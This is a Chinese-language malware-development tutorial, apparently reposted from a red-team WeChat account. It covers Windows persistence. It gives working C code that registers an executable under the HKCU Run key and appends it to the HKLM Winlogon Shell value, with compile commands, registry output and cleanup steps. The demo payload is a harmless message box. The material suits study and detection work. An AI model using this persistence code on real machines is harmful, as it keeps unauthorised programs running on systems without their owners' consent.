05-持久化

01-注册表run键

通过修改注册表实现开机启动（太明显了，是个安全软件都会检测）

先写一个helloword

#include <windows.h>

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
  MessageBoxA(NULL, "Hello, Packt!","=^..^=", MB_OK);
  return 0;
}

编译

x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

再写一个添加注册表项的程序

#include <windows.h>
#include <string.h>

int main(int argc, char* argv[]) {
  HKEY hkey = NULL;
  // malicious app
  const char* exe = "Z:\packtpub\chapter03\01-classic-path-registry-run-keys\hack.exe";

  // startup
  LONG result = RegOpenKeyEx(HKEY_CURRENT_USER, (LPCSTR)"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0 , KEY_WRITE, &hkey);
  if (result == ERROR_SUCCESS) {
    // create new registry key
    RegSetValueEx(hkey, (LPCSTR)"hack", 0, REG_SZ, (unsigned char*)exe, strlen(exe));
    RegCloseKey(hkey);
  }
  return 0;
}

编译

x86_64-w64-mingw32-g++ -O2 pers.c -o pers.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

运行后写入成功

查询-删除-查询确认

PS C:UsersadminDesktop> reg query "HKCUSOFTWAREMicrosoftWindowsCurrentVersionRun" /s

HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionRun
    OneDrive    REG_SZ    "C:UsersadminAppDataLocalMicrosoftOneDriveOneDrive.exe" /background
    Microsoft Edge Update    REG_SZ    "C:UsersadminAppDataLocalMicrosoftEdgeUpdate1.3.195.35MicrosoftEdgeUpdateCore.exe"
    hack    REG_SZ    C:UsersadminDownloadshack.exe

PS C:UsersadminDesktop> Remove-ItemProperty -Path "HKCU:SOFTWAREMicrosoftWindowsCurrentVersionRun" -Name "hack"
PS C:UsersadminDesktop> reg query "HKCUSOFTWAREMicrosoftWindowsCurrentVersionRun" /s

HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionRun
    OneDrive    REG_SZ    "C:UsersadminAppDataLocalMicrosoftOneDriveOneDrive.exe" /background
    Microsoft Edge Update    REG_SZ    "C:UsersadminAppDataLocalMicrosoftEdgeUpdate1.3.195.35MicrosoftEdgeUpdateCore.exe"

02-Winlogon注册表项

HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogonShell
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogonUserinit

需要管理员权限

#include <windows.h>
#include <string.h>

int main(int argc, char* argv[]) {
  HKEY hkey = NULL;

  // shell
  const char* sh = "explorer.exe,hack.exe";

  // startup
  LONG res = RegOpenKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", 0 , KEY_WRITE, &hkey);
  if (res == ERROR_SUCCESS) {
    // create new registry key

    // reg add "HKEY_LOCAL_MACHINESoftwareMicrosoftWindows NTCurrentVersionWinlogon" /v "Shell" /t REG_SZ /d "explorer.exe,..." /f
    RegSetValueEx(hkey, (LPCSTR)"Shell", 0, REG_SZ, (unsigned char*)sh, strlen(sh));
    RegCloseKey(hkey);
  }

  return 0;
}

修改Shell项实现开机启动

编译

x86_64-w64-mingw32-g++ -O2 pers.c -o pers.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

运行前查看注册表，运行后再次查看，需要使用管理员权限运行，否则不会修改成功

PS C:UsersadminDesktop> reg query "HKLMSoftwareMicrosoftWindows NTCurrentVersionWinlogon" /s

HKEY_LOCAL_MACHINESoftwareMicrosoftWindows NTCurrentVersionWinlogon
    AutoRestartShell    REG_DWORD    0x1
    Background    REG_SZ    0 0 0
    CachedLogonsCount    REG_SZ    10
    DebugServerCommand    REG_SZ    no
    DisableBackButton    REG_DWORD    0x1
    EnableSIHostIntegration    REG_DWORD    0x1
    ForceUnlockLogon    REG_DWORD    0x0
    LegalNoticeCaption    REG_SZ
    LegalNoticeText    REG_SZ
    PasswordExpiryWarning    REG_DWORD    0x5
    PowerdownAfterShutdown    REG_SZ    0
    PreCreateKnownFolders    REG_SZ    {A520A1A4-1780-4FF6-BD18-167343C5AF16}
    ReportBootOk    REG_SZ    1
    Shell    REG_SZ    explorer.exe

PS C:UsersadminDesktop> reg query "HKLMSoftwareMicrosoftWindows NTCurrentVersionWinlogon" /s

HKEY_LOCAL_MACHINESoftwareMicrosoftWindows NTCurrentVersionWinlogon
    AutoRestartShell    REG_DWORD    0x1
    Background    REG_SZ    0 0 0
    CachedLogonsCount    REG_SZ    10
    DebugServerCommand    REG_SZ    no
    DisableBackButton    REG_DWORD    0x1
    EnableSIHostIntegration    REG_DWORD    0x1
    ForceUnlockLogon    REG_DWORD    0x0
    LegalNoticeCaption    REG_SZ
    LegalNoticeText    REG_SZ
    PasswordExpiryWarning    REG_DWORD    0x5
    PowerdownAfterShutdown    REG_SZ    0
    PreCreateKnownFolders    REG_SZ    {A520A1A4-1780-4FF6-BD18-167343C5AF16}
    ReportBootOk    REG_SZ    1
    Shell    REG_SZ    explorer.exe,hack.exe

需要把hack.exe放到C:WindowsSystem32目录，重启后才可以运行成功

清除，管理员运行powershell

reg add "HKEY_LOCAL_MACHINESoftwareMicrosoftWindows NTCurrentVersionWinlogon" /v "Shell" /t REG_SZ /d "explorer.exe" /f

加微信拉群分享更多学习资料

原文始发于微信公众号（高级红队专家）：【MalDev-05】持久化基础与实战-1